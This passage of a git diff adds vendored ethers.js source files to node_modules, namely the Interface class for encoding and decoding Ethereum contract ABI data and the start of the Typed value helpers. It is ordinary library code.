void { + params.reduce((accum, param) => { + if (param.name) { + if (accum[param.name]) { + logger.throwArgumentError(`duplicate ${ type } parameter ${ JSON.stringify(param.name) } in ${ fragment.format("full") }`, "fragment", fragment); + } + accum[param.name] = true; + } + return accum; + }, <{ [ name: string ]: boolean }>{ }); +} +*/ + +/** + * An **InterfaceAbi** may be any supported ABI format. + * + * A string is expected to be a JSON string, which will be parsed + * using ``JSON.parse``. This means that the value **must** be a valid + * JSON string, with no stray commas, etc. + * + * An array may contain any combination of: + * - Human-Readable fragments + * - Parsed JSON fragment + * - [[Fragment]] instances + * + * A **Human-Readable Fragment** is a string which resembles a Solidity + * signature and is introduced in [this blog entry](link-ricmoo-humanreadableabi). + * For example, ``function balanceOf(address) view returns (uint)``. + * + * A **Parsed JSON Fragment** is a JavaScript Object desribed in the + * [Solidity documentation](link-solc-jsonabi). + */ +export type InterfaceAbi = string | ReadonlyArray; + +/** + * An Interface abstracts many of the low-level details for + * encoding and decoding the data on the blockchain. + * + * An ABI provides information on how to encode data to send to + * a Contract, how to decode the results and events and how to + * interpret revert errors. + * + * The ABI can be specified by [any supported format](InterfaceAbi). + */ +export class Interface { + + /** + * All the Contract ABI members (i.e. methods, events, errors, etc). + */ + readonly fragments!: ReadonlyArray; + + /** + * The Contract constructor. + */ + readonly deploy!: ConstructorFragment; + + /** + * The Fallback method, if any. + */ + readonly fallback!: null | FallbackFragment; + + /** + * If receiving ether is supported. + */ + readonly receive!: boolean; + + #errors: Map; + #events: Map; + #functions: Map; +// #structs: Map; + + #abiCoder: AbiCoder; + + /** + * Create a new Interface for the %%fragments%%. + */ + constructor(fragments: InterfaceAbi) { + let abi: ReadonlyArray = [ ]; + if (typeof(fragments) === "string") { + abi = JSON.parse(fragments); + } else { + abi = fragments; + } + + this.#functions = new Map(); + this.#errors = new Map(); + this.#events = new Map(); +// this.#structs = new Map(); + + + const frags: Array = [ ]; + for (const a of abi) { + try { + frags.push(Fragment.from(a)); + } catch (error: any) { + console.log(`[Warning] Invalid Fragment ${ JSON.stringify(a) }:`, error.message); + } + } + + defineProperties(this, { + fragments: Object.freeze(frags) + }); + + let fallback: null | FallbackFragment = null; + let receive = false; + + this.#abiCoder = this.getAbiCoder(); + + // Add all fragments by their signature + this.fragments.forEach((fragment, index) => { + let bucket: Map; + switch (fragment.type) { + case "constructor": + if (this.deploy) { + console.log("duplicate definition - constructor"); + return; + } + //checkNames(fragment, "input", fragment.inputs); + defineProperties(this, { deploy: fragment }); + return; + + case "fallback": + if (fragment.inputs.length === 0) { + receive = true; + } else { + assertArgument(!fallback || (fragment).payable !== fallback.payable, + "conflicting fallback fragments", `fragments[${ index }]`, fragment); + fallback = fragment; + receive = fallback.payable; + } + return; + + case "function": + //checkNames(fragment, "input", fragment.inputs); + //checkNames(fragment, "output", (fragment).outputs); + bucket = this.#functions; + break; + + case "event": + //checkNames(fragment, "input", fragment.inputs); + bucket = this.#events; + break; + + case "error": + bucket = this.#errors; + break; + + default: + return; + } + + // Two identical entries; ignore it + const signature = fragment.format(); + if (bucket.has(signature)) { return; } + + bucket.set(signature, fragment); + }); + + // If we do not have a constructor add a default + if (!this.deploy) { + defineProperties(this, { + deploy: ConstructorFragment.from("constructor()") + }); + } + + defineProperties(this, { fallback, receive }); + } + + /** + * Returns the entire Human-Readable ABI, as an array of + * signatures, optionally as %%minimal%% strings, which + * removes parameter names and unneceesary spaces. + */ + format(minimal?: boolean): Array { + const format = (minimal ? "minimal": "full"); + const abi = this.fragments.map((f) => f.format(format)); + return abi; + } + + /** + * Return the JSON-encoded ABI. This is the format Solidiy + * returns. + */ + formatJson(): string { + const abi = this.fragments.map((f) => f.format("json")); + + // We need to re-bundle the JSON fragments a bit + return JSON.stringify(abi.map((j) => JSON.parse(j))); + } + + /** + * The ABI coder that will be used to encode and decode binary + * data. + */ + getAbiCoder(): AbiCoder { + return AbiCoder.defaultAbiCoder(); + } + + // Find a function definition by any means necessary (unless it is ambiguous) + #getFunction(key: string, values: null | Array, forceUnique: boolean): null | FunctionFragment { + + // Selector + if (isHexString(key)) { + const selector = key.toLowerCase(); + for (const fragment of this.#functions.values()) { + if (selector === fragment.selector) { return fragment; } + } + return null; + } + + // It is a bare name, look up the function (will return null if ambiguous) + if (key.indexOf("(") === -1) { + const matching: Array = [ ]; + for (const [ name, fragment ] of this.#functions) { + if (name.split("("/* fix:) */)[0] === key) { matching.push(fragment); } + } + + if (values) { + const lastValue = (values.length > 0) ? values[values.length - 1]: null; + + let valueLength = values.length; + let allowOptions = true; + if (Typed.isTyped(lastValue) && lastValue.type === "overrides") { + allowOptions = false; + valueLength--; + } + + // Remove all matches that don't have a compatible length. The args + // may contain an overrides, so the match may have n or n - 1 parameters + for (let i = matching.length - 1; i >= 0; i--) { + const inputs = matching[i].inputs.length; + if (inputs !== valueLength && (!allowOptions || inputs !== valueLength - 1)) { + matching.splice(i, 1); + } + } + + // Remove all matches that don't match the Typed signature + for (let i = matching.length - 1; i >= 0; i--) { + const inputs = matching[i].inputs; + for (let j = 0; j < values.length; j++) { + // Not a typed value + if (!Typed.isTyped(values[j])) { continue; } + + // We are past the inputs + if (j >= inputs.length) { + if (values[j].type === "overrides") { continue; } + matching.splice(i, 1); + break; + } + + // Make sure the value type matches the input type + if (values[j].type !== inputs[j].baseType) { + matching.splice(i, 1); + break; + } + } + } + } + + // We found a single matching signature with an overrides, but the + // last value is something that cannot possibly be an options + if (matching.length === 1 && values && values.length !== matching[0].inputs.length) { + const lastArg = values[values.length - 1]; + if (lastArg == null || Array.isArray(lastArg) || typeof(lastArg) !== "object") { + matching.splice(0, 1); + } + } + + if (matching.length === 0) { return null; } + + if (matching.length > 1 && forceUnique) { + const matchStr = matching.map((m) => JSON.stringify(m.format())).join(", "); + assertArgument(false, `ambiguous function description (i.e. matches ${ matchStr })`, "key", key); + } + + return matching[0]; + } + + // Normalize the signature and lookup the function + const result = this.#functions.get(FunctionFragment.from(key).format()); + if (result) { return result; } + + return null; + } + + /** + * Get the function name for %%key%%, which may be a function selector, + * function name or function signature that belongs to the ABI. + */ + getFunctionName(key: string): string { + const fragment = this.#getFunction(key, null, false); + assertArgument(fragment, "no matching function", "key", key); + return fragment.name; + } + + /** + * Returns true if %%key%% (a function selector, function name or + * function signature) is present in the ABI. + * + * In the case of a function name, the name may be ambiguous, so + * accessing the [[FunctionFragment]] may require refinement. + */ + hasFunction(key: string): boolean { + return !!this.#getFunction(key, null, false); + } + + /** + * Get the [[FunctionFragment]] for %%key%%, which may be a function + * selector, function name or function signature that belongs to the ABI. + * + * If %%values%% is provided, it will use the Typed API to handle + * ambiguous cases where multiple functions match by name. + * + * If the %%key%% and %%values%% do not refine to a single function in + * the ABI, this will throw. + */ + getFunction(key: string, values?: Array): null | FunctionFragment { + return this.#getFunction(key, values || null, true); + } + + /** + * Iterate over all functions, calling %%callback%%, sorted by their name. + */ + forEachFunction(callback: (func: FunctionFragment, index: number) => void): void { + const names = Array.from(this.#functions.keys()); + names.sort((a, b) => a.localeCompare(b)); + for (let i = 0; i < names.length; i++) { + const name = names[i]; + callback((this.#functions.get(name)), i); + } + } + + + // Find an event definition by any means necessary (unless it is ambiguous) + #getEvent(key: string, values: null | Array, forceUnique: boolean): null | EventFragment { + + // EventTopic + if (isHexString(key)) { + const eventTopic = key.toLowerCase(); + for (const fragment of this.#events.values()) { + if (eventTopic === fragment.topicHash) { return fragment; } + } + return null; + } + + // It is a bare name, look up the function (will return null if ambiguous) + if (key.indexOf("(") === -1) { + const matching: Array = [ ]; + for (const [ name, fragment ] of this.#events) { + if (name.split("("/* fix:) */)[0] === key) { matching.push(fragment); } + } + + if (values) { + // Remove all matches that don't have a compatible length. + for (let i = matching.length - 1; i >= 0; i--) { + if (matching[i].inputs.length < values.length) { + matching.splice(i, 1); + } + } + + // Remove all matches that don't match the Typed signature + for (let i = matching.length - 1; i >= 0; i--) { + const inputs = matching[i].inputs; + for (let j = 0; j < values.length; j++) { + // Not a typed value + if (!Typed.isTyped(values[j])) { continue; } + + // Make sure the value type matches the input type + if (values[j].type !== inputs[j].baseType) { + matching.splice(i, 1); + break; + } + } + } + } + + if (matching.length === 0) { return null; } + + if (matching.length > 1 && forceUnique) { + const matchStr = matching.map((m) => JSON.stringify(m.format())).join(", "); + assertArgument(false, `ambiguous event description (i.e. matches ${ matchStr })`, "key", key); + } + + return matching[0]; + } + + // Normalize the signature and lookup the function + const result = this.#events.get(EventFragment.from(key).format()); + if (result) { return result; } + + return null; + } + + /** + * Get the event name for %%key%%, which may be a topic hash, + * event name or event signature that belongs to the ABI. + */ + getEventName(key: string): string { + const fragment = this.#getEvent(key, null, false); + assertArgument(fragment, "no matching event", "key", key); + + return fragment.name; + } + + /** + * Returns true if %%key%% (an event topic hash, event name or + * event signature) is present in the ABI. + * + * In the case of an event name, the name may be ambiguous, so + * accessing the [[EventFragment]] may require refinement. + */ + hasEvent(key: string): boolean { + return !!this.#getEvent(key, null, false); + } + + /** + * Get the [[EventFragment]] for %%key%%, which may be a topic hash, + * event name or event signature that belongs to the ABI. + * + * If %%values%% is provided, it will use the Typed API to handle + * ambiguous cases where multiple events match by name. + * + * If the %%key%% and %%values%% do not refine to a single event in + * the ABI, this will throw. + */ + getEvent(key: string, values?: Array): null | EventFragment { + return this.#getEvent(key, values || null, true) + } + + /** + * Iterate over all events, calling %%callback%%, sorted by their name. + */ + forEachEvent(callback: (func: EventFragment, index: number) => void): void { + const names = Array.from(this.#events.keys()); + names.sort((a, b) => a.localeCompare(b)); + for (let i = 0; i < names.length; i++) { + const name = names[i]; + callback((this.#events.get(name)), i); + } + } + + /** + * Get the [[ErrorFragment]] for %%key%%, which may be an error + * selector, error name or error signature that belongs to the ABI. + * + * If %%values%% is provided, it will use the Typed API to handle + * ambiguous cases where multiple errors match by name. + * + * If the %%key%% and %%values%% do not refine to a single error in + * the ABI, this will throw. + */ + getError(key: string, values?: Array): null | ErrorFragment { + if (isHexString(key)) { + const selector = key.toLowerCase(); + + if (BuiltinErrors[selector]) { + return ErrorFragment.from(BuiltinErrors[selector].signature); + } + + for (const fragment of this.#errors.values()) { + if (selector === fragment.selector) { return fragment; } + } + + return null; + } + + // It is a bare name, look up the function (will return null if ambiguous) + if (key.indexOf("(") === -1) { + const matching: Array = [ ]; + for (const [ name, fragment ] of this.#errors) { + if (name.split("("/* fix:) */)[0] === key) { matching.push(fragment); } + } + + if (matching.length === 0) { + if (key === "Error") { return ErrorFragment.from("error Error(string)"); } + if (key === "Panic") { return ErrorFragment.from("error Panic(uint256)"); } + return null; + } else if (matching.length > 1) { + const matchStr = matching.map((m) => JSON.stringify(m.format())).join(", "); + assertArgument(false, `ambiguous error description (i.e. ${ matchStr })`, "name", key); + } + + return matching[0]; + } + + // Normalize the signature and lookup the function + key = ErrorFragment.from(key).format() + if (key === "Error(string)") { return ErrorFragment.from("error Error(string)"); } + if (key === "Panic(uint256)") { return ErrorFragment.from("error Panic(uint256)"); } + + const result = this.#errors.get(key); + if (result) { return result; } + + return null; + } + + /** + * Iterate over all errors, calling %%callback%%, sorted by their name. + */ + forEachError(callback: (func: ErrorFragment, index: number) => void): void { + const names = Array.from(this.#errors.keys()); + names.sort((a, b) => a.localeCompare(b)); + for (let i = 0; i < names.length; i++) { + const name = names[i]; + callback((this.#errors.get(name)), i); + } + } + + // Get the 4-byte selector used by Solidity to identify a function + /* + getSelector(fragment: ErrorFragment | FunctionFragment): string { + if (typeof(fragment) === "string") { + const matches: Array = [ ]; + + try { matches.push(this.getFunction(fragment)); } catch (error) { } + try { matches.push(this.getError(fragment)); } catch (_) { } + + if (matches.length === 0) { + logger.throwArgumentError("unknown fragment", "key", fragment); + } else if (matches.length > 1) { + logger.throwArgumentError("ambiguous fragment matches function and error", "key", fragment); + } + + fragment = matches[0]; + } + + return dataSlice(id(fragment.format()), 0, 4); + } + */ + + // Get the 32-byte topic hash used by Solidity to identify an event + /* + getEventTopic(fragment: EventFragment): string { + //if (typeof(fragment) === "string") { fragment = this.getEvent(eventFragment); } + return id(fragment.format()); + } + */ + + + _decodeParams(params: ReadonlyArray, data: BytesLike): Result { + return this.#abiCoder.decode(params, data) + } + + _encodeParams(params: ReadonlyArray, values: ReadonlyArray): string { + return this.#abiCoder.encode(params, values) + } + + /** + * Encodes a ``tx.data`` object for deploying the Contract with + * the %%values%% as the constructor arguments. + */ + encodeDeploy(values?: ReadonlyArray): string { + return this._encodeParams(this.deploy.inputs, values || [ ]); + } + + /** + * Decodes the result %%data%% (e.g. from an ``eth_call``) for the + * specified error (see [[getError]] for valid values for + * %%key%%). + * + * Most developers should prefer the [[parseCallResult]] method instead, + * which will automatically detect a ``CALL_EXCEPTION`` and throw the + * corresponding error. + */ + decodeErrorResult(fragment: ErrorFragment | string, data: BytesLike): Result { + if (typeof(fragment) === "string") { + const f = this.getError(fragment); + assertArgument(f, "unknown error", "fragment", fragment); + fragment = f; + } + + assertArgument(dataSlice(data, 0, 4) === fragment.selector, + `data signature does not match error ${ fragment.name }.`, "data", data); + + return this._decodeParams(fragment.inputs, dataSlice(data, 4)); + } + + /** + * Encodes the transaction revert data for a call result that + * reverted from the the Contract with the sepcified %%error%% + * (see [[getError]] for valid values for %%fragment%%) with the %%values%%. + * + * This is generally not used by most developers, unless trying to mock + * a result from a Contract. + */ + encodeErrorResult(fragment: ErrorFragment | string, values?: ReadonlyArray): string { + if (typeof(fragment) === "string") { + const f = this.getError(fragment); + assertArgument(f, "unknown error", "fragment", fragment); + fragment = f; + } + + return concat([ + fragment.selector, + this._encodeParams(fragment.inputs, values || [ ]) + ]); + } + + /** + * Decodes the %%data%% from a transaction ``tx.data`` for + * the function specified (see [[getFunction]] for valid values + * for %%fragment%%). + * + * Most developers should prefer the [[parseTransaction]] method + * instead, which will automatically detect the fragment. + */ + decodeFunctionData(fragment: FunctionFragment | string, data: BytesLike): Result { + if (typeof(fragment) === "string") { + const f = this.getFunction(fragment); + assertArgument(f, "unknown function", "fragment", fragment); + fragment = f; + } + + assertArgument(dataSlice(data, 0, 4) === fragment.selector, + `data signature does not match function ${ fragment.name }.`, "data", data); + + return this._decodeParams(fragment.inputs, dataSlice(data, 4)); + } + + /** + * Encodes the ``tx.data`` for a transaction that calls the function + * specified (see [[getFunction]] for valid values for %%fragment%%) with + * the %%values%%. + */ + encodeFunctionData(fragment: FunctionFragment | string, values?: ReadonlyArray): string { + if (typeof(fragment) === "string") { + const f = this.getFunction(fragment); + assertArgument(f, "unknown function", "fragment", fragment); + fragment = f; + } + + return concat([ + fragment.selector, + this._encodeParams(fragment.inputs, values || [ ]) + ]); + } + + /** + * Decodes the result %%data%% (e.g. from an ``eth_call``) for the + * specified function (see [[getFunction]] for valid values for + * %%key%%). + * + * Most developers should prefer the [[parseCallResult]] method instead, + * which will automatically detect a ``CALL_EXCEPTION`` and throw the + * corresponding error. + */ + decodeFunctionResult(fragment: FunctionFragment | string, data: BytesLike): Result { + if (typeof(fragment) === "string") { + const f = this.getFunction(fragment); + assertArgument(f, "unknown function", "fragment", fragment); + fragment = f; + } + + let message = "invalid length for result data"; + + const bytes = getBytesCopy(data); + if ((bytes.length % 32) === 0) { + try { + return this.#abiCoder.decode(fragment.outputs, bytes); + } catch (error) { + message = "could not decode result data"; + } + } + + // Call returned data with no error, but the data is junk + assert(false, message, "BAD_DATA", { + value: hexlify(bytes), + info: { method: fragment.name, signature: fragment.format() } + }); + } + + makeError(_data: BytesLike, tx: CallExceptionTransaction): CallExceptionError { + const data = getBytes(_data, "data"); + + const error = AbiCoder.getBuiltinCallException("call", tx, data); + + // Not a built-in error; try finding a custom error + const customPrefix = "execution reverted (unknown custom error)"; + if (error.message.startsWith(customPrefix)) { + const selector = hexlify(data.slice(0, 4)); + + const ef = this.getError(selector); + if (ef) { + try { + const args = this.#abiCoder.decode(ef.inputs, data.slice(4)); + error.revert = { + name: ef.name, signature: ef.format(), args + }; + error.reason = error.revert.signature; + error.message = `execution reverted: ${ error.reason }` + } catch (e) { + error.message = `execution reverted (coult not decode custom error)` + } + } + } + + // Add the invocation, if available + const parsed = this.parseTransaction(tx); + if (parsed) { + error.invocation = { + method: parsed.name, + signature: parsed.signature, + args: parsed.args + }; + } + + return error; + } + + /** + * Encodes the result data (e.g. from an ``eth_call``) for the + * specified function (see [[getFunction]] for valid values + * for %%fragment%%) with %%values%%. + * + * This is generally not used by most developers, unless trying to mock + * a result from a Contract. + */ + encodeFunctionResult(fragment: FunctionFragment | string, values?: ReadonlyArray): string { + if (typeof(fragment) === "string") { + const f = this.getFunction(fragment); + assertArgument(f, "unknown function", "fragment", fragment); + fragment = f; + } + return hexlify(this.#abiCoder.encode(fragment.outputs, values || [ ])); + } +/* + spelunk(inputs: Array, values: ReadonlyArray, processfunc: (type: string, value: any) => Promise): Promise> { + const promises: Array> = [ ]; + const process = function(type: ParamType, value: any): any { + if (type.baseType === "array") { + return descend(type.child + } + if (type. === "address") { + } + }; + + const descend = function (inputs: Array, values: ReadonlyArray) { + if (inputs.length !== values.length) { throw new Error("length mismatch"); } + + }; + + const result: Array = [ ]; + values.forEach((value, index) => { + if (value == null) { + topics.push(null); + } else if (param.baseType === "array" || param.baseType === "tuple") { + logger.throwArgumentError("filtering with tuples or arrays not supported", ("contract." + param.name), value); + } else if (Array.isArray(value)) { + topics.push(value.map((value) => encodeTopic(param, value))); + } else { + topics.push(encodeTopic(param, value)); + } + }); + } +*/ + // Create the filter for the event with search criteria (e.g. for eth_filterLog) + encodeFilterTopics(fragment: EventFragment | string, values: ReadonlyArray): Array> { + if (typeof(fragment) === "string") { + const f = this.getEvent(fragment); + assertArgument(f, "unknown event", "eventFragment", fragment); + fragment = f; + } + + assert(values.length <= fragment.inputs.length, `too many arguments for ${ fragment.format() }`, + "UNEXPECTED_ARGUMENT", { count: values.length, expectedCount: fragment.inputs.length }) + + const topics: Array> = []; + if (!fragment.anonymous) { topics.push(fragment.topicHash); } + + // @TODO: Use the coders for this; to properly support tuples, etc. + const encodeTopic = (param: ParamType, value: any): string => { + if (param.type === "string") { + return id(value); + } else if (param.type === "bytes") { + return keccak256(hexlify(value)); + } + + if (param.type === "bool" && typeof(value) === "boolean") { + value = (value ? "0x01": "0x00"); + } else if (param.type.match(/^u?int/)) { + value = toBeHex(value); // @TODO: Should this toTwos?? + } else if (param.type.match(/^bytes/)) { + value = zeroPadBytes(value, 32); + } else if (param.type === "address") { + // Check addresses are valid + this.#abiCoder.encode( [ "address" ], [ value ]); + } + + return zeroPadValue(hexlify(value), 32); + }; + + values.forEach((value, index) => { + + const param = (fragment).inputs[index]; + + if (!param.indexed) { + assertArgument(value == null, + "cannot filter non-indexed parameters; must be null", ("contract." + param.name), value); + return; + } + + if (value == null) { + topics.push(null); + } else if (param.baseType === "array" || param.baseType === "tuple") { + assertArgument(false, "filtering with tuples or arrays not supported", ("contract." + param.name), value); + } else if (Array.isArray(value)) { + topics.push(value.map((value) => encodeTopic(param, value))); + } else { + topics.push(encodeTopic(param, value)); + } + }); + + // Trim off trailing nulls + while (topics.length && topics[topics.length - 1] === null) { + topics.pop(); + } + + return topics; + } + + encodeEventLog(fragment: EventFragment | string, values: ReadonlyArray): { data: string, topics: Array } { + if (typeof(fragment) === "string") { + const f = this.getEvent(fragment); + assertArgument(f, "unknown event", "eventFragment", fragment); + fragment = f; + } + + const topics: Array = [ ]; + + const dataTypes: Array = [ ]; + const dataValues: Array = [ ]; + + if (!fragment.anonymous) { + topics.push(fragment.topicHash); + } + + assertArgument(values.length === fragment.inputs.length, + "event arguments/values mismatch", "values", values); + + fragment.inputs.forEach((param, index) => { + const value = values[index]; + if (param.indexed) { + if (param.type === "string") { + topics.push(id(value)) + } else if (param.type === "bytes") { + topics.push(keccak256(value)) + } else if (param.baseType === "tuple" || param.baseType === "array") { + // @TODO + throw new Error("not implemented"); + } else { + topics.push(this.#abiCoder.encode([ param.type] , [ value ])); + } + } else { + dataTypes.push(param); + dataValues.push(value); + } + }); + + return { + data: this.#abiCoder.encode(dataTypes , dataValues), + topics: topics + }; + } + + // Decode a filter for the event and the search criteria + decodeEventLog(fragment: EventFragment | string, data: BytesLike, topics?: ReadonlyArray): Result { + if (typeof(fragment) === "string") { + const f = this.getEvent(fragment); + assertArgument(f, "unknown event", "eventFragment", fragment); + fragment = f; + } + + if (topics != null && !fragment.anonymous) { + const eventTopic = fragment.topicHash; + assertArgument(isHexString(topics[0], 32) && topics[0].toLowerCase() === eventTopic, + "fragment/topic mismatch", "topics[0]", topics[0]); + topics = topics.slice(1); + } + + const indexed: Array = []; + const nonIndexed: Array = []; + const dynamic: Array = []; + + fragment.inputs.forEach((param, index) => { + if (param.indexed) { + if (param.type === "string" || param.type === "bytes" || param.baseType === "tuple" || param.baseType === "array") { + indexed.push(ParamType.from({ type: "bytes32", name: param.name })); + dynamic.push(true); + } else { + indexed.push(param); + dynamic.push(false); + } + } else { + nonIndexed.push(param); + dynamic.push(false); + } + }); + + const resultIndexed = (topics != null) ? this.#abiCoder.decode(indexed, concat(topics)): null; + const resultNonIndexed = this.#abiCoder.decode(nonIndexed, data, true); + + //const result: (Array & { [ key: string ]: any }) = [ ]; + const values: Array = [ ]; + const keys: Array = [ ]; + let nonIndexedIndex = 0, indexedIndex = 0; + fragment.inputs.forEach((param, index) => { + let value: null | Indexed | Error = null; + if (param.indexed) { + if (resultIndexed == null) { + value = new Indexed(null); + + } else if (dynamic[index]) { + value = new Indexed(resultIndexed[indexedIndex++]); + + } else { + try { + value = resultIndexed[indexedIndex++]; + } catch (error: any) { + value = error; + } + } + } else { + try { + value = resultNonIndexed[nonIndexedIndex++]; + } catch (error: any) { + value = error; + } + } + + values.push(value); + keys.push(param.name || null); + }); + + return Result.fromItems(values, keys); + } + + /** + * Parses a transaction, finding the matching function and extracts + * the parameter values along with other useful function details. + * + * If the matching function cannot be found, return null. + */ + parseTransaction(tx: { data: string, value?: BigNumberish }): null | TransactionDescription { + const data = getBytes(tx.data, "tx.data"); + const value = getBigInt((tx.value != null) ? tx.value: 0, "tx.value"); + + const fragment = this.getFunction(hexlify(data.slice(0, 4))); + + if (!fragment) { return null; } + + const args = this.#abiCoder.decode(fragment.inputs, data.slice(4)); + return new TransactionDescription(fragment, fragment.selector, args, value); + } + + parseCallResult(data: BytesLike): Result { + throw new Error("@TODO"); + } + + /** + * Parses a receipt log, finding the matching event and extracts + * the parameter values along with other useful event details. + * + * If the matching event cannot be found, returns null. + */ + parseLog(log: { topics: ReadonlyArray, data: string}): null | LogDescription { + const fragment = this.getEvent(log.topics[0]); + + if (!fragment || fragment.anonymous) { return null; } + + // @TODO: If anonymous, and the only method, and the input count matches, should we parse? + // Probably not, because just because it is the only event in the ABI does + // not mean we have the full ABI; maybe just a fragment? + + + return new LogDescription(fragment, fragment.topicHash, this.decodeEventLog(fragment, log.data, log.topics)); + } + + /** + * Parses a revert data, finding the matching error and extracts + * the parameter values along with other useful error details. + * + * If the matching error cannot be found, returns null. + */ + parseError(data: BytesLike): null | ErrorDescription { + const hexData = hexlify(data); + + const fragment = this.getError(dataSlice(hexData, 0, 4)); + + if (!fragment) { return null; } + + const args = this.#abiCoder.decode(fragment.inputs, dataSlice(hexData, 4)); + return new ErrorDescription(fragment, fragment.selector, args); + } + + /** + * Creates a new [[Interface]] from the ABI %%value%%. + * + * The %%value%% may be provided as an existing [[Interface]] object, + * a JSON-encoded ABI or any Human-Readable ABI format. + */ + static from(value: InterfaceAbi | Interface): Interface { + // Already an Interface, which is immutable + if (value instanceof Interface) { return value; } + + // JSON + if (typeof(value) === "string") { return new Interface(JSON.parse(value)); } + + // An Interface; possibly from another v6 instance + if (typeof((value).formatJson) === "function") { + return new Interface((value).formatJson()); + } + + // A legacy Interface; from an older version + if (typeof((value).format) === "function") { + return new Interface((value).format("json")); + } + + // Array of fragments + return new Interface(value); + } +} diff --git a/node_modules/ethers/src.ts/abi/typed.ts b/node_modules/ethers/src.ts/abi/typed.ts new file mode 100644 index 000000000000..346b2d570a03 --- /dev/null +++ b/node_modules/ethers/src.ts/abi/typed.ts @@ -0,0 +1,796 @@ +/** + * A Typed object allows a value to have its type explicitly + * specified. + * + * For example, in Solidity, the value ``45`` could represent a + * ``uint8`` or a ``uint256``. The value ``0x1234`` could represent + * a ``bytes2`` or ``bytes``. + * + * Since JavaScript has no meaningful way to explicitly inform any + * APIs which what the type is, this allows transparent interoperation + * with Soldity. + * + * @_subsection: api/abi:Typed Values + */ + +import { assertPrivate, defineProperties } from "../utils/index.js"; + +import type { Addressable } from "../address/index.js"; +import type { BigNumberish, BytesLike } from "../utils/index.js"; + +import type { Result } from "./coders/abstract-coder.js"; + +const _gaurd = { }; + +function n(value: BigNumberish, width: number): Typed { + let signed = false; + if (width < 0) { + signed = true; + width *= -1; + } + + // @TODO: Check range is valid for value + return new Typed(_gaurd, `${ signed ? "": "u" }int${ width }`, value, { signed, width }); +} + +function b(value: BytesLike, size?: number): Typed { + // @TODO: Check range is valid for value + return new Typed(_gaurd, `bytes${ (size) ? size: "" }`, value, { size }); +} + +// @TODO: Remove this in v7, it was replaced by TypedBigInt +/** + * @_ignore: + */ +export interface TypedNumber extends Typed { + value: number; + defaultValue(): number; + minValue(): number; + maxValue(): number; +} + +/** + * A **Typed** that represents a numeric value. + */ +export interface TypedBigInt extends Typed { + /** + * The value. + */ + value: bigint; + + /** + * The default value for all numeric types is ``0``. + */ + defaultValue(): bigint; + + /** + * The minimum value for this type, accounting for bit-width and signed-ness. + */ + minValue(): bigint; + + /** + * The minimum value for this type, accounting for bit-width. + */ + maxValue(): bigint; +} + +/** + * A **Typed** that represents a binary sequence of data as bytes. + */ +export interface TypedData extends Typed { + /** + * The value. + */ + value: string; + + /** + * The default value for this type. + */ + defaultValue(): string; +} + +/** + * A **Typed** that represents a UTF-8 sequence of bytes. + */ +export interface TypedString extends Typed { + /** + * The value. + */ + value: string; + + /** + * The default value for the string type is the empty string (i.e. ``""``). + */ + defaultValue(): string; +} + +const _typedSymbol = Symbol.for("_ethers_typed"); + +/** + * The **Typed** class to wrap values providing explicit type information. + */ +export class Typed { + + /** + * The type, as a Solidity-compatible type. + */ + readonly type!: string; + + /** + * The actual value. + */ + readonly value!: any; + + readonly #options: any; + + /** + * @_ignore: + */ + readonly _typedSymbol!: Symbol; + + /** + * @_ignore: + */ + constructor(gaurd: any, type: string, value: any, options?: any) { + if (options == null) { options = null; } + assertPrivate(_gaurd, gaurd, "Typed"); + defineProperties(this, { _typedSymbol, type, value }); + this.#options = options; + + // Check the value is valid + this.format(); + } + + /** + * Format the type as a Human-Readable type. + */ + format(): string { + if (this.type === "array") { + throw new Error(""); + } else if (this.type === "dynamicArray") { + throw new Error(""); + } else if (this.type === "tuple") { + return `tuple(${ this.value.map((v: Typed) => v.format()).join(",") })` + } + + return this.type; + } + + /** + * The default value returned by this type. + */ + defaultValue(): string | number | bigint | Result { + return 0; + } + + /** + * The minimum value for numeric types. + */ + minValue(): string | number | bigint { + return 0; + } + + /** + * The maximum value for numeric types. + */ + maxValue(): string | number | bigint { + return 0; + } + + /** + * Returns ``true`` and provides a type guard is this is a [[TypedBigInt]]. + */ + isBigInt(): this is TypedBigInt { + return !!(this.type.match(/^u?int[0-9]+$/)); + } + + /** + * Returns ``true`` and provides a type guard is this is a [[TypedData]]. + */ + isData(): this is TypedData { + return this.type.startsWith("bytes"); + } + + /** + * Returns ``true`` and provides a type guard is this is a [[TypedString]]. + */ + isString(): this is TypedString { + return (this.type === "string"); + } + + /** + * Returns the tuple name, if this is a tuple. Throws otherwise. + */ + get tupleName(): null | string { + if (this.type !== "tuple") { throw TypeError("not a tuple"); } + return this.#options; + } + + // Returns the length of this type as an array + // - `null` indicates the length is unforced, it could be dynamic + // - `-1` indicates the length is dynamic + // - any other value indicates it is a static array and is its length + + /** + * Returns the length of the array type or ``-1`` if it is dynamic. + * + * Throws if the type is not an array. + */ + get arrayLength(): null | number { + if (this.type !== "array") { throw TypeError("not an array"); } + if (this.#options === true) { return -1; } + if (this.#options === false) { return (>(this.value)).length; } + return null; + } + + /** + * Returns a new **Typed** of %%type%% with the %%value%%. + */ + static from(type: string, value: any): Typed { + return new Typed(_gaurd, type, value); + } + + /** + * Return a new ``uint8`` type for %%v%%. + */ + static uint8(v: BigNumberish): Typed { return n(v, 8); } + + /** + * Return a new ``uint16`` type for %%v%%. + */ + static uint16(v: BigNumberish): Typed { return n(v, 16); } + + /** + * Return a new ``uint24`` type for %%v%%. + */ + static uint24(v: BigNumberish): Typed { return n(v, 24); } + + /** + * Return a new ``uint32`` type for %%v%%. + */ + static uint32(v: BigNumberish): Typed { return n(v, 32); } + + /** + * Return a new ``uint40`` type for %%v%%. + */ + static uint40(v: BigNumberish): Typed { return n(v, 40); } + + /** + * Return a new ``uint48`` type for %%v%%. + */ + static uint48(v: BigNumberish): Typed { return n(v, 48); } + + /** + * Return a new ``uint56`` type for %%v%%. + */ + static uint56(v: BigNumberish): Typed { return n(v, 56); } + + /** + * Return a new ``uint64`` type for %%v%%. + */ + static uint64(v: BigNumberish): Typed { return n(v, 64); } + + /** + * Return a new ``uint72`` type for %%v%%. + */ + static uint72(v: BigNumberish): Typed { return n(v, 72); } + + /** + * Return a new ``uint80`` type for %%v%%. + */ + static uint80(v: BigNumberish): Typed { return n(v, 80); } + + /** + * Return a new ``uint88`` type for %%v%%. + */ + static uint88(v: BigNumberish): Typed { return n(v, 88); } + + /** + * Return a new ``uint96`` type for %%v%%. + */ + static uint96(v: BigNumberish): Typed { return n(v, 96); } + + /** + * Return a new ``uint104`` type for %%v%%. + */ + static uint104(v: BigNumberish): Typed { return n(v, 104); } + + /** + * Return a new ``uint112`` type for %%v%%. + */ + static uint112(v: BigNumberish): Typed { return n(v, 